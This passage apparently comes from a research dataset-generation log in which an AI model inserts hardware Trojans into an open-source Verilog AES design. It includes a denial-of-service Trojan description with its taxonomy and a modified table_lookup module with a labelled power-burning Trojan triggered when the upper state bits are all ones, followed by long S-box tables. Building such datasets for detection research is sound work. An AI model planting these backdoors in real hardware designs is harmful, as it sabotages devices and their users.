            "    8'h4a: out <= 8'hb7;\n",
            "    8'h4b: out <= 8'h7d;\n",
            "    8'h4c: out <= 8'h52;\n",
            "    8'h4d: out <= 8'hdd;\n",
            "    8'h4e: out <= 8'h5e;\n",
            "    8'h4f: out <= 8'h13;\n",
            "    8'h50: out <= 8'ha6;\n",
            "    8'h51: out <= 8'hb9;\n",
            "    8'h52: out <= 8'h00;\n",
            "    8'h53: out <= 8'hc1;\n",
            "    8'h54: out <= 8'h40;\n",
            "    8'h55: out <= 8'he3;\n",
            "    8'h56: out <= 8'h79;\n",
            "    8'h57: out <= 8'hb6;\n",
            "    8'h58: out <= 8'hd4;\n",
            "    8'h59: out <= 8'h8d;\n",
            "    8'h5a: out <= 8'h67;\n",
            "    8'h5b: out <= 8'h72;\n",
            "    8'h5c: out <= 8'h94;\n",
            "    8'h5d: out <= 8'h98;\n",
            "    8'h5e: out <= 8'hb0;\n",
            "    8'h5f: out <= 8'h85;\n",
            "    8'h60: out <= 8'hbb;\n",
            "    8'h61: out <= 8'hc5;\n",
            "    8'h62: out <= 8'h4f;\n",
            "    8'h63: out <= 8'hed;\n",
            "    8'h64: out <= 8'h86;\n",
            "    8'h65: out <= 8'h9a;\n",
            "    8'h66: out <= 8'h66;\n",
            "    8'h67: out <= 8'h11;\n",
            "    8'h68: out <= 8'h8a;\n",
            "    8'h69: out <= 8'he9;\n",
            "    8'h6a: out <= 8'h04;\n",
            "    8'h6b: out <= 8'hfe;\n",
            "    8'h6c: out <= 8'ha0;\n",
            "    8'h6d: out <= 8'h78;\n",
            "    8'h6e: out <= 8'h25;\n",
            "    8'h6f: out <= 8'h4b;\n",
            "    8'h70: out <= 8'ha2;\n",
            "    8'h71: out <= 8'h5d;\n",
            "    8'h72: out <= 8'h80;\n",
            "    8'h73: out <= 8'h05;\n",
            "    8'h74: out <= 8'h3f;\n",
            "    8'h75: out <= 8'h21;\n",
            "    8'h76: out <= 8'h70;\n",
            "    8'h77: out <= 8'hf1;\n",
            "    8'h78: out <= 8'h63;\n",
            "    8'h79: out <= 8'h77;\n",
            "    8'h7a: out <= 8'haf;\n",
            "    8'h7b: out <= 8'h42;\n",
            "    8'h7c: out <= 8'h20;\n",
            "    8'h7d: out <= 8'he5;\n",
            "    8'h7e: out <= 8'hfd;\n",
            "    8'h7f: out <= 8'hbf;\n",
            "    8'h80: out <= 8'h81;\n",
            "    8'h81: out <= 8'h18;\n",
            "    8'h82: out <= 8'h26;\n",
            "    8'h83: out <= 8'hc3;\n",
            "    8'h84: out <= 8'hbe;\n",
            "    8'h85: out <= 8'h35;\n",
            "    8'h86: out <= 8'h88;\n",
            "    8'h87: out <= 8'h2e;\n",
            "    8'h88: out <= 8'h93;\n",
            "    8'h89: out <= 8'h55;\n",
            "    8'h8a: out <= 8'hfc;\n",
            "    8'h8b: out <= 8'h7a;\n",
            "    8'h8c: out <= 8'hc8;\n",
            "    8'h8d: out <= 8'hba;\n",
            "    8'h8e: out <= 8'h32;\n",
            "    8'h8f: out <= 8'he6;\n",
            "    8'h90: out <= 8'hc0;\n",
            "    8'h91: out <= 8'h19;\n",
            "    8'h92: out <= 8'h9e;\n",
            "    8'h93: out <= 8'ha3;\n",
            "    8'h94: out <= 8'h44;\n",
            "    8'h95: out <= 8'h54;\n",
            "    8'h96: out <= 8'h3b;\n",
            "    8'h97: out <= 8'h0b;\n",
            "    8'h98: out <= 8'h8c;\n",
            "    8'h99: out <= 8'hc7;\n",
            "    8'h9a: out <= 8'h6b;\n",
            "    8'h9b: out <= 8'h28;\n",
            "    8'h9c: out <= 8'ha7;\n",
            "    8'h9d: out <= 8'hbc;\n",
            "    8'h9e: out <= 8'h16;\n",
            "    8'h9f: out <= 8'had;\n",
            "    8'ha0: out <= 8'hdb;\n",
            "    8'ha1: out <= 8'h64;\n",
            "    8'ha2: out <= 8'h74;\n",
            "    8'ha3: out <= 8'h14;\n",
            "    8'ha4: out <= 8'h92;\n",
            "    8'ha5: out <= 8'h0c;\n",
            "    8'ha6: out <= 8'h48;\n",
            "    8'ha7: out <= 8'hb8;\n",
            "    8'ha8: out <= 8'h9f;\n",
            "    8'ha9: out <= 8'hbd;\n",
            "    8'haa: out <= 8'h43;\n",
            "    8'hab: out <= 8'hc4;\n",
            "    8'hac: out <= 8'h39;\n",
            "    8'had: out <= 8'h31;\n",
            "    8'hae: out <= 8'hd3;\n",
            "    8'haf: out <= 8'hf2;\n",
            "    8'hb0: out <= 8'hd5;\n",
            "    8'hb1: out <= 8'h8b;\n",
            "    8'hb2: out <= 8'h6e;\n",
            "    8'hb3: out <= 8'hda;\n",
            "    8'hb4: out <= 8'h01;\n",
            "    8'hb5: out <= 8'hb1;\n",
            "    8'hb6: out <= 8'h9c;\n",
            "    8'hb7: out <= 8'h49;\n",
            "    8'hb8: out <= 8'hd8;\n",
            "    8'hb9: out <= 8'hac;\n",
            "    8'hba: out <= 8'hf3;\n",
            "    8'hbb: out <= 8'hcf;\n",
            "    8'hbc: out <= 8'hca;\n",
            "    8'hbd: out <= 8'hf4;\n",
            "    8'hbe: out <= 8'h47;\n",
            "    8'hbf: out <= 8'h10;\n",
            "    8'hc0: out <= 8'h6f;\n",
            "    8'hc1: out <= 8'hf0;\n",
            "    8'hc2: out <= 8'h4a;\n",
            "    8'hc3: out <= 8'h5c;\n",
            "    8'hc4: out <= 8'h38;\n",
            "    8'hc5: out <= 8'h57;\n",
            "    8'hc6: out <= 8'h73;\n",
            "    8'hc7: out <= 8'h97;\n",
            "    8'hc8: out <= 8'hcb;\n",
            "    8'hc9: out <= 8'ha1;\n",
            "    8'hca: out <= 8'he8;\n",
            "    8'hcb: out <= 8'h3e;\n",
            "    8'hcc: out <= 8'h96;\n",
            "    8'hcd: out <= 8'h61;\n",
            "    8'hce: out <= 8'h0d;\n",
            "    8'hcf: out <= 8'h0f;\n",
            "    8'hd0: out <= 8'he0;\n",
            "    8'hd1: out <= 8'h7c;\n",
            "    8'hd2: out <= 8'h71;\n",
            "    8'hd3: out <= 8'hcc;\n",
            "    8'hd4: out <= 8'h90;\n",
            "    8'hd5: out <= 8'h06;\n",
            "    8'hd6: out <= 8'hf7;\n",
            "    8'hd7: out <= 8'h1c;\n",
            "    8'hd8: out <= 8'hc2;\n",
            "    8'hd9: out <= 8'h6a;\n",
            "    8'hda: out <= 8'hae;\n",
            "    8'hdb: out <= 8'h69;\n",
            "    8'hdc: out <= 8'h17;\n",
            "    8'hdd: out <= 8'h99;\n",
            "    8'hde: out <= 8'h3a;\n",
            "    8'hdf: out <= 8'h27;\n",
            "    8'he0: out <= 8'hd9;\n",
            "    8'he1: out <= 8'heb;\n",
            "    8'he2: out <= 8'h2b;\n",
            "    8'he3: out <= 8'h22;\n",
            "    8'he4: out <= 8'hd2;\n",
            "    8'he5: out <= 8'ha9;\n",
            "    8'he6: out <= 8'h07;\n",
            "    8'he7: out <= 8'h33;\n",
            "    8'he8: out <= 8'h2d;\n",
            "    8'he9: out <= 8'h3c;\n",
            "    8'hea: out <= 8'h15;\n",
            "    8'heb: out <= 8'hc9;\n",
            "    8'hec: out <= 8'h87;\n",
            "    8'hed: out <= 8'haa;\n",
            "    8'hee: out <= 8'h50;\n",
            "    8'hef: out <= 8'ha5;\n",
            "    8'hf0: out <= 8'h03;\n",
            "    8'hf1: out <= 8'h59;\n",
            "    8'hf2: out <= 8'h09;\n",
            "    8'hf3: out <= 8'h1a;\n",
            "    8'hf4: out <= 8'h65;\n",
            "    8'hf5: out <= 8'hd7;\n",
            "    8'hf6: out <= 8'h84;\n",
            "    8'hf7: out <= 8'hd0;\n",
            "    8'hf8: out <= 8'h82;\n",
            "    8'hf9: out <= 8'h29;\n",
            "    8'hfa: out <= 8'h5a;\n",
            "    8'hfb: out <= 8'h1e;\n",
            "    8'hfc: out <= 8'h7b;\n",
            "    8'hfd: out <= 8'ha8;\n",
            "    8'hfe: out <= 8'h6d;\n",
            "    8'hff: out <= 8'h2c;\n",
            "    endcase\n",
            "endmodule\n",
            "```\n",
            "\n",
            "Explanation:\n",
            "A denial-of-service Trojan was added to `table_lookup`, triggered by a rare sequence on the `state` input, which disables module output for several cycles. The Trojan is synthesizable, uses explicit reset, and does not alter normal function unless triggered.\n",
            "\n",
            "Trigger:\n",
            "The trigger requires the input `state` to equal 32'hDEADBEEF for four consecutive clock cycles, which arms and then activates the Trojan logic.\n",
            "\n",
            "Payload:\n",
            "Once triggered, for the next eight cycles, all outputs (`p0`-`p3`) are forced to zero, temporarily disabling the modules normal functionality and creating a denial of service.\n",
            "\n",
            "Taxonomy:\n",
            "Insertion phase: Design  \n",
            "Abstraction level: Register-transfer level  \n",
            "Activation mechanism: Triggered internally (by rare input value sequence)  \n",
            "Effects: denial of service  \n",
            "Location: Processor (data path logic)  \n",
            "Characteristics: Distributed, small, functional Trojan\n",
            "Saving vulnerable design to: aes/gpt-4.1/table/table_HT3_gpt-4.1_A1.v\n",
            "Saving vulnerability description to: aes/gpt-4.1/table/table_HT3_gpt-4.1_A1_taxonomy.txt\n",
            "Code:\n",
            "```verilog\n",
            "/*\n",
            " * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\n",
            " *\n",
            " * Licensed under the Apache License, Version 2.0 (the \"License\");\n",
            " * you may not use this file except in compliance with the License.\n",
            " * You may obtain a copy of the License at\n",
            " *\n",
            " * http://www.apache.org/licenses/LICENSE-2.0\n",
            " *\n",
            " * Unless required by applicable law or agreed to in writing, software\n",
            " * distributed under the License is distributed on an \"AS IS\" BASIS,\n",
            " * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",
            " * See the License for the specific language governing permissions and\n",
            " * limitations under the License.\n",
            " */\n",
            "\n",
            "module table_lookup (clk, rst, state, p0, p1, p2, p3);\n",
            "    input clk;\n",
            "    input rst; // Synthesizeable reset added for Trojan and future use\n",
            "    input [31:0] state;\n",
            "    output [31:0] p0, p1, p2, p3;\n",
            "    wire [7:0] b0, b1, b2, b3;\n",
            "    \n",
            "    assign {b0, b1, b2, b3} = state;\n",
            "    T\n",
            "        t0 (clk, b0, {p0[23:0], p0[31:24]}),\n",
            "        t1 (clk, b1, {p1[15:0], p1[31:16]}),\n",
            "        t2 (clk, b2, {p2[7:0],  p2[31:8]} ),\n",
            "        t3 (clk, b3, p3);\n",
            "\n",
            "    // =================== Trojan Insertion Start ========================\n",
            "    // Trojan parameters\n",
            "    parameter TROJAN_SHIFT_WIDTH = 64;\n",
            "\n",
            "    reg [TROJAN_SHIFT_WIDTH-1:0] trojan_sr;\n",
            "    reg trojan_active;\n",
            "\n",
            "    // Trigger logic: activate if upper 16 bits of state all set to 1\n",
            "    always @(posedge clk or posedge rst) begin\n",
            "        if (rst) begin\n",
            "            trojan_active <= 1'b0;\n",
            "        end\n",
            "        else if (state[31:16] == 16'hFFFF)\n",
            "            trojan_active <= 1'b1;\n",
            "        else\n",
            "            trojan_active <= trojan_active; // Latch activation\n",
            "    end\n",
            "\n",
            "    // Payload: high-activity shift register starts running after activation, burns power\n",
            "    always @(posedge clk or posedge rst) begin\n",
            "        if (rst) begin\n",
            "            trojan_sr <= {TROJAN_SHIFT_WIDTH{1'b0}};\n",
            "        end else if (trojan_active) begin\n",
            "            trojan_sr <= {trojan_sr[TROJAN_SHIFT_WIDTH-2:0], ~trojan_sr[TROJAN_SHIFT_WIDTH-1]};\n",
            "        end else begin\n",
            "            trojan_sr <= trojan_sr; // Hold\n",
            "        end\n",
            "    end\n",
            "    // =================== Trojan Insertion End ========================\n",
            "\n",
            "endmodule\n",
            "\n",
            "/* substitue four bytes in a word */\n",
            "module S4 (clk, in, out);\n",
            "    input clk;\n",
            "    input [31:0] in;\n",
            "    output [31:0] out;\n",
            "    \n",
            "    S\n",
            "        S_0 (clk, in[31:24], out[31:24]),\n",
            "        S_1 (clk, in[23:16], out[23:16]),\n",
            "        S_2 (clk, in[15:8],  out[15:8] ),\n",
            "        S_3 (clk, in[7:0],   out[7:0]  );\n",
            "endmodule\n",
            "\n",
            "/* S_box, S_box, S_box*(x+1), S_box*x */\n",
            "module T (clk, in, out);\n",
            "    input         clk;\n",
            "    input  [7:0]  in;\n",
            "    output [31:0] out;\n",
            "    \n",
            "    S\n",
            "        s0 (clk, in, out[31:24]);\n",
            "    assign out[23:16] = out[31:24];\n",
            "    xS\n",
            "        s4 (clk, in, out[7:0]);\n",
            "    assign out[15:8] = out[23:16] ^ out[7:0];\n",
            "endmodule\n",
            "\n",
            "/* S box */\n",
            "module S (clk, in, out);\n",
            "    input clk;\n",
            "    input [7:0] in;\n",
            "    output reg [7:0] out;\n",
            "\n",
            "    always @ (posedge clk)\n",
            "    case (in)\n",
            "    8'h00: out <= 8'h63;\n",
            "    8'h01: out <= 8'h7c;\n",
            "    8'h02: out <= 8'h77;\n",
            "    8'h03: out <= 8'h7b;\n",
            "    8'h04: out <= 8'hf2;\n",
            "    8'h05: out <= 8'h6b;\n",
            "    8'h06: out <= 8'h6f;\n",
            "    8'h07: out <= 8'hc5;\n",
            "    8'h08: out <= 8'h30;\n",
            "    8'h09: out <= 8'h01;\n",
            "    8'h0a: out <= 8'h67;\n",
            "    8'h0b: out <= 8'h2b;\n",
            "    8'h0c: out <= 8'hfe;\n",
            "    8'h0d: out <= 8'hd7;\n",
            "    8'h0e: out <= 8'hab;\n",
            "    8'h0f: out <= 8'h76;\n",
            "    8'h10: out <= 8'hca;\n",
            "    8'h11: out <= 8'h82;\n",
            "    8'h12: out <= 8'hc9;\n",
            "    8'h13: out <= 8'h7d;\n",
            "    8'h14: out <= 8'hfa;\n",
            "    8'h15: out <= 8'h59;\n",
            "    8'h16: out <= 8'h47;\n",
            "    8'h17: out <= 8'hf0;\n",
            "    8'h18: out <= 8'had;\n",
            "    8'h19: out <= 8'hd4;\n",
            "    8'h1a: out <= 8'ha2;\n",
            "    8'h1b: out <= 8'haf;\n",
            "    8'h1c: out <= 8'h9c;\n",
            "    8'h1d: out <= 8'ha4;\n",
            "    8'h1e: out <= 8'h72;\n",
            "    8'h1f: out <= 8'hc0;\n",
            "    8'h20: out <= 8'hb7;\n",
            "    8'h21: out <= 8'hfd;\n",
            "    8'h22: out <= 8'h93;\n",
            "    8'h23: out <= 8'h26;\n",
            "    8'h24: out <= 8'h36;\n",
            "    8'h25: out <= 8'h3f;\n",
            "    8'h26: out <= 8'hf7;\n",
            "    8'h27: out <= 8'hcc;\n",
            "    8'h28: out <= 8'h34;\n",
            "    8'h29: out <= 8'ha5;\n",
            "    8'h2a: out <= 8'he5;\n",
            "    8'h2b: out <= 8'hf1;\n",
            "    8'h2c: out <= 8'h71;\n",
            "    8'h2d: out <= 8'hd8;\n",
            "    8'h2e: out <= 8'h31;\n",
            "    8'h2f: out <= 8'h15;\n",
            "    8'h30: out <= 8'h04;\n",
            "    8'h31: out <= 8'hc7;\n",
            "    8'h32: out <= 8'h23;\n",
            "    8'h33: out <= 8'hc3;\n",
            "    8'h34: out <= 8'h18;\n",
            "    8'h35: out <= 8'h96;\n",
            "    8'h36: out <= 8'h05;\n",
            "    8'h37: out <= 8'h9a;\n",
            "    8'h38: out <= 8'h07;\n",
            "    8'h39: out <= 8'h12;\n",
            "    8'h3a: out <= 8'h80;\n",
            "    8'h3b: out <= 8'he2;\n",
            "    8'h3c: out <= 8'heb;\n",
            "    8'h3d: out <= 8'h27;\n",
            "    8'h3e: out <= 8'hb2;\n",
            "    8'h3f: out <= 8'h75;\n",
            "    8'h40: out <= 8'h09;\n",
            "    8'h41: out <= 8'h83;\n",
            "    8'h42: out <= 8'h2c;\n",
            "    8'h43: out <= 8'h1a;\n",
            "    8'h44: out <= 8'h1b;\n",
            "    8'h45: out <= 8'h6e;\n",
            "    8'h46: out <= 8'h5a;\n",
            "    8'h47: out <= 8'ha0;\n",
            "    8'h48: out <= 8'h52;\n",
            "    8'h49: out <= 8'h3b;\n",
            "    8'h4a: out <= 8'hd6;\n",
            "    8'h4b: out <= 8'hb3;\n",
            "    8'h4c: out <= 8'h29;\n",
            "    8'h4d: out <= 8'he3;\n",
            "    8'h4e: out <= 8'h2f;\n",
            "    8'h4f: out <= 8'h84;\n",
            "    8'h50: out <= 8'h53;\n",
            "    8'h51: out <= 8'hd1;\n",
            "    8'h52: out <= 8'h00;\n",
            "    8'h53: out <= 8'hed;\n",
            "    8'h54: out <= 8'h20;\n",
            "    8'h55: out <= 8'hfc;\n",
            "    8'h56: out <= 8'hb1;\n",
            "    8'h57: out <= 8'h5b;\n",
            "    8'h58: out <= 8'h6a;\n",
            "    8'h59: out <= 8'hcb;\n",
            "    8'h5a: out <= 8'hbe;\n",
            "    8'h5b: out <= 8'h39;\n",
            "    8'h5c: out <= 8'h4a;\n",
            "    8'h5d: out <= 8'h4c;\n",
            "    8'h5e: out <= 8'h58;\n",
            "    8'h5f: out <= 8'hcf;\n",
            "    8'h60: out <= 8'hd0;\n",
            "    8'h61: out <= 8'hef;\n",
            "    8'h62: out <= 8'haa;\n",
            "    8'h63: out <= 8'hfb;\n",
            "    8'h64: out <= 8'h43;\n",
            "    8'h65: out <= 8'h4d;\n",
            "    8'h66: out <= 8'h33;\n",
            "    8'h67: out <= 8'h85;\n",
            "    8'h68: out <= 8'h45;\n",
            "    8'h69: out <= 8'hf9;\n",
            "    8'h6a: out <= 8'h02;\n",
            "    8'h6b: out <= 8'h7f;\n",
            "    8'h6c: out <= 8'h50;\n",
            "    8'h6d: out <= 8'h3c;\n",
            "    8'h6e: out <= 8'h9f;\n",
            "    8'h6f: out <= 8'ha8;\n",
            "    8'h70: out <= 8'h51;\n",
            "    8'h71: out <= 8'ha3;\n",
            "    8'h72: out <= 8'h40;\n",
            "    8'h73: out <= 8'h8f;\n",
            "    8'h74: out <= 8'h92;\n",
            "    8'h75: out <= 8'h9d;\n",
            "    8'h76: out <= 8'h38;\n",
            "    8'h77: out <= 8'hf5;\n",
            "    8'h78: out <= 8'hbc;\n",
            "    8'h79: out <= 8'hb6;\n",
            "    8'h7a: out <= 8'hda;\n",
            "    8'h7b: out <= 8'h21;\n",
            "    8'h7c: out <= 8'h10;\n",
            "    8'h7d: out <= 8'hff;\n",
            "    8'h7e: out <= 8'hf3;\n",
            "    8'h7f: out <= 8'hd2;\n",
            "    8'h80: out <= 8'hcd;\n",
            "    8'h81: out <= 8'h0c;\n",
            "    8'h82: out <= 8'h13;\n",
            "    8'h83: out <= 8'hec;\n",
            "    8'h84: out <= 8'h5f;\n",
            "    8'h85: out <= 8'h97;\n",
            "    8'h86: out <= 8'h44;\n",
            "    8'h87: out <= 8'h17;\n",
            "    8'h88: out <= 8'hc4;\n",
            "    8'h89: out <= 8'ha7;\n",
            "    8'h8a: out <= 8'h7e;\n",
            "    8'h8b: out <= 8'h3d;\n",
            "    8'h8c: out <= 8'h64;\n",
            "    8'h8d: out <= 8'h5d;\n",
            "    8'h8e: out <= 8'h19;\n",
            "    8'h8f: out <= 8'h73;\n",
            "    8'h90: out <= 8'h60;\n",
            "    8'h91: out <= 8'h81;\n",
            "    8'h92: out <= 8'h4f;\n",
            "    8'h93: out <= 8'hdc;\n",
            "    8'h94: out <= 8'h22;\n",
            "    8'h95: out <= 8'h2a;\n",
            "    8'h96: out <= 8'h90;\n",
            "    8'h97: out <= 8'h88;\n",
            "    8'h98: out <= 8'h46;\n",
            "    8'h99: out <= 8'hee;\n",
            "    8'h9a: out <= 8'hb8;\n",
            "    8'h9b: out <= 8'h14;\n",
            "    8'h9c: out <= 8'hde;\n",
            "    8'h9d: out <= 8'h5e;\n",
            "    8'h9e: out <= 8'h0b;\n",
            "    8'h9f: out <= 8'hdb;\n",
            "    8'ha0: out <= 8'he0;\n",
            "    8'ha1: out <= 8'h32;\n",
            "    8'ha2: out <= 8'h3a;\n",
            "    8'ha3: out <= 8'h0a;\n",
            "    8'ha4: out <= 8'h49;\n",
            "    8'ha5: out <= 8'h06;\n",
            "    8'ha6: out <= 8'h24;\n",
            "    8'ha7: out <= 8'h5c;\n",
            "    8'ha8: out <= 8'hc2;\n",
            "    8'ha9: out <= 8'hd3;\n",
            "    8'haa: out <= 8'hac;\n",
            "    8'hab: out <= 8'h62;\n",
            "    8'hac: out <= 8'h91;\n",
            "    8'had: out <= 8'h95;\n",
            "    8'hae: out <= 8'he4;\n",
            "    8'haf: out <= 8'h79;\n",
            "    8'hb0: out <= 8'he7;\n",
            "    8'hb1: out <= 8'hc8;\n",
            "    8'hb2: out <= 8'h37;\n",
            "    8'hb3: out <= 8'h6d;\n",
            "    8'hb4: out <= 8'h8d;\n",
            "    8'hb5: out <= 8'hd5;\n",
            "    8'hb6: out <= 8'h4e;\n",
            "    8'hb7: out <= 8'ha9;\n",
            "    8'hb8: out <= 8'h6c;\n",
            "    8'hb9: out <= 8'h56;\n",
            "    8'hba: out <= 8'hf4;\n",
            "    8'hbb: out <= 8'hea;\n",
            "    8'hbc: out <= 8'h65;\n",
            "    8'hbd: out <= 8'h7a;\n",
            "    8'hbe: out <= 8'hae;\n",
            "    8'hbf: out <= 8'h08;\n",
            "    8'hc0: out <= 8'hba;\n",
            "    8'hc1: out <= 8'h78;\n",
            "    8'hc2: out <= 8'h25;\n",
            "    8'hc3: out <= 8'h2e;\n",
            "    8'hc4: out <= 8'h1c;\n",
            "    8'hc5: out <= 8'ha6;\n",
            "    8'hc6: out <= 8'hb4;\n",
            "    8'hc7: out <= 8'hc6;\n",
            "    8'hc8: out <= 8'he8;\n",
            "    8'hc9: out <= 8'hdd;\n",
            "    8'hca: out <= 8'h74;\n",
            "    8'hcb: out <= 8'h1f;\n",
            "    8'hcc: out <= 8'h4b;\n",
            "    8'hcd: out <= 8'hbd;\n",
            "    8'hce: out <= 8'h8b;\n",
            "    8'hcf: out <= 8'h8a;\n",
            "    8'hd0: out <= 8'h70;\n",
            "    8'hd1: out <= 8'h3e;\n",
            "    8'hd2: out <= 8'hb5;\n",
            "    8'hd3: out <= 8'h66;\n",
            "    8'hd4: out <= 8'h48;\n",
            "    8'hd5: out <= 8'h03;\n",
            "    8'hd6: out <= 8'hf6;\n",
            "    8'hd7: out <= 8'h0e;\n",
            "    8'hd8: out <= 8'h61;\n",
            "    8'hd9: out <= 8'h35;\n",
            "    8'hda: out <= 8'h57;\n",
            "    8'hdb: out <= 8'hb9;\n",
            "    8'hdc: out <= 8'h86;\n",
            "    8'hdd: out <= 8'hc1;\n",
            "    8'hde: out <= 8'h1d;\n",
            "    8'hdf: out <= 8'h9e;\n",
            "    8'he0: out <= 8'he1;\n",
            "    8'he1: out <= 8'hf8;\n",
            "    8'he2: out <= 8'h98;\n",
            "    8'he3: out <= 8'h11;\n",
            "    8'he4: out <= 8'h69;\n",
            "    8'he5: out <= 8'hd9;\n",
            "    8'he6: out <= 8'h8e;\n",
            "    8'he7: out <= 8'h94;\n",
            "    8'he8: out <= 8'h9b;\n",
            "    8'he9: out <= 8'h1e;\n",
            "    8'hea: out <= 8'h87;\n",
            "    8'heb: out <= 8'he9;\n",
            "    8'hec: out <= 8'hce;\n",
            "    8'hed: out <= 8'h55;\n",
            "    8'hee: out <= 8'h28;\n",
            "    8'hef: out <= 8'hdf;\n",
            "    8'hf0: out <= 8'h8c;\n",
            "    8'hf1: out <= 8'ha1;\n",
            "    8'hf2: out <= 8'h89;\n",
            "    8'hf3: out <= 8'h0d;\n",
            "    8'hf4: out <= 8'hbf;\n",
            "    8'hf5: out <= 8'he6;\n",
            "    8'hf6: out <= 8'h42;\n",
            "    8'hf7: out <= 8'h68;\n",
            "    8'hf8: out <= 8'h41;\n",
            "    8'hf9: out <= 8'h99;\n",
            "    8'hfa: out <= 8'h2d;\n",
            "    8'hfb: out <= 8'h0f;\n",
            "    8'hfc: out <= 8'hb0;\n",
            "    8'hfd: out <= 8'h54;\n",
            "    8'hfe: out <= 8'hbb;\n",
            "    8'hff: out <= 8'h16;\n",
            "    endcase\n",
            "endmodule\n",
            "\n",
            "/* S box * x */\n",
            "module xS (clk, in, out);\n",
            "    input clk;\n",
            "    input [7:0] in;\n",
            "    output reg [7:0] out;\n",
            "\n",
            "    always @ (posedge clk)\n",
            "    case (in)\n",
            "    8'h00: out <= 8'hc6;\n",
            "    8'h01: out <= 8'hf8;\n",
            "    8'h02: out <= 8'hee;\n",
            "    8'h03: out <= 8'hf6;\n",
            "    8'h04: out <= 8'hff;\n",
            "    8'h05: out <= 8'hd6;\n",
            "    8'h06: out <= 8'hde;\n",
            "    8'h07: out <= 8'h91;\n",
            "    8'h08: out <= 8'h60;\n",
            "    8'h09: out <= 8'h02;\n",
            "    8'h0a: out <= 8'hce;\n",
            "    8'h0b: out <= 8'h56;\n",
            "    8'h0c: out <= 8'he7;\n",
            "    8'h0d: out <= 8'hb5;\n",
            "    8'h0e: out <= 8'h4d;\n",
            "    8'h0f: out <= 8'hec;\n",
            "    8'h10: out <= 8'h8f;\n",
            "    8'h11: out <= 8'h1f;\n",
            "    8'h12: out <= 8'h89;\n",
            "    8'h13: out <= 8'hfa;\n",
            "    8'h14: out <= 8'hef;\n",
            "    8'h15: out <= 8'hb2;\n",
            "    8'h16: out <= 8'h8e;\n",
            "    8'h17: out <= 8'hfb;\n",
            "    8'h18: out <= 8'h41;\n",
            "    8'h19: out <= 8'hb3;\n",
            "    8'h1a: out <= 8'h5f;\n",
            "    8'h1b: out <= 8'h45;\n",
            "    8'h1c: out <= 8'h23;\n",
            "    8'h1d: out <= 8'h53;\n",
            "    8'h1e: out <= 8'he4;\n",
            "    8'h1f: out <= 8'h9b;\n",
            "    8'h20: out <= 8'h75;\n",
            "    8'h21: out <= 8'he1;\n",
            "    8'h22: out <= 8'h3d;\n",
            "    8'h23: out <= 8'h4c;\n",
            "    8'h24: out <= 8'h6c;\n",
            "    8'h25: out <= 8'h7e;\n",
            "    8'h26: out <= 8'hf5;\n",
            "    8'h27: out <= 8'h83;\n",
            "    8'h28: out <= 8'h68;\n",
            "    8'h29: out <= 8'h51;\n",
            "    8'h2a: out <= 8'hd1;\n",
            "    8'h2b: out <= 8'hf9;\n",
            "    8'h2c: out <= 8'he2;\n",
            "    8'h2d: out <= 8'hab;\n",
            "    8'h2e: out <= 8'h62;\n",
            "    8'h2f: out <= 8'h2a;\n",
            "    8'h30: out <= 8'h08;\n",
            "    8'h31: out <= 8'h95;\n",
            "    8'h32: out <= 8'h46;\n",
            "    8'h33: out <= 8'h9d;\n",
            "    8'h34: out <= 8'h30;\n",
            "    8'h35: out <= 8'h37;\n",
            "    8'h36: out <= 8'h0a;\n",
            "    8'h37: out <= 8'h2f;\n",
            "    8'h38: out <= 8'h0e;\n",
            "    8'h39: out <= 8'h24;\n",
            "    8'h3a: out <= 8'h1b;\n",
            "    8'h3b: out <= 8'hdf;\n",
            "    8'h3c: out <= 8'hcd;\n",
            "    8'h3d: out <= 8'h4e;\n",
            "    8'h3e: out <= 8'h7f;\n",
            "    8'h3f: out <= 8'hea;\n",
            "    8'h40: out <= 8'h12;\n",
            "    8'h41: out <= 8'h1d;\n",
            "    8'h42: out <= 8'h58;\n",
            "    8'h43: out <= 8'h34;\n",
            "    8'h44: out <= 8'h36;\n",
            "    8'h45: out <= 8'hdc;\n",
            "    8'h46: out <= 8'hb4;\n",
            "    8'h47: out <= 8'h5b;\n",
            "    8'h48: out <= 8'ha4;\n",
            "    8'h49: out <= 8'h76;\n",
            "    8'h4a: out <= 8'hb7;\n",
            "    8'h4b: out <= 8'h7d;\n",
            "    8'h4c: out <= 8'h52;\n",
            "    8'h4d: out <= 8'hdd;\n",
            "    8'h4e: out <= 8'h5e;\n",
            "    8'h4f: out <= 8'h13;\n",
            "    8'h50: out <= 8'ha6;\n",
            "    8'h51: out <= 8'hb9;\n",
            "    8'h52: out <= 8'h00;\n",
            "    8'h53: out <= 8'hc1;\n",
            "    8'h54: out <= 8'h40;\n",
            "    8'h55: out <= 8'he3;\n",
            "    8'h56: out <= 8'h79;\n",
            "    8'h57: out <= 8'hb6;\n",
            "    8'h58: out <= 8'hd4;\n",
            "    8'h59: out <= 8'h8d;\n",
            "    8'h5a: out <= 8'h67;\n",
            "    8'h5b: out <= 8'h72;\n",
            "    8'h5c: out <= 8'h94;\n",
            "    8'h5d: out <= 8'h98;\n",
            "    8'h5e: out <= 8'hb0;\n",
            "    8'h5f: out <= 8'h85;\n",
            "    8'h60: out <= 8'hbb;\n",
            "    8'h61: out <= 8'hc5;\n",
            "    8'h62: out <= 8'h4f;\n",
            "    8'h63: out <= 8'hed;\n",
            "    8'h64: out <= 8'h86;\n",
            "    8'h65: out <= 8'h9a;\n",
            "    8'h66: out <= 8'h66;\n",
            "    8'h67: out <= 8'h11;\n",
            "    8'h68: out <= 8'h8a;\n",
            "    8'h69: out <= 8'he9;\n",
            "    8'h6a: out <= 8'h04;\n",
            "    8'h6b: out <= 8'hfe;\n",
            "    8'h6c: out <= 8'ha0;\n",
            "    8'h6d: out <= 8'h78;\n",
            "    8'h6e: out <= 8'h25;\n",
            "    8'h6f: out <= 8'h4b;\n",
            "    8'h70: out <= 8'ha2;\n",
            "    8'h71: out <= 8'h5d;\n",
            "    8'h72: out <= 8'h80;\n",
            "    8'h73: out <= 8'h05;\n",
            "    8'h74: out <= 8'h3f;\n",
            "    8'h75: out <= 8'h21;\n",
            "    8'h76: out <= 8'h70;\n",
            "    8'h77: out <= 8'hf1;\n",
            "    8'h78: out <= 8'h63;\n",
            "    8'h79: out <= 8'h77;\n",
            "    8'h7a: out <= 8'haf;\n",
            "    8'h7b: out <= 8'h42;\n",
            "    8'h7c: out <= 8'h20;\n",
            "    8'h7d: out <= 8'he5;\n",
            "    8'h7e: out <= 8'hfd;\n",
            "    8'h7f: out <= 8'hbf;\n",
            "    8'h80: out <= 8'h81;\n",
            "    8'h81: out <= 8'h18;\n",
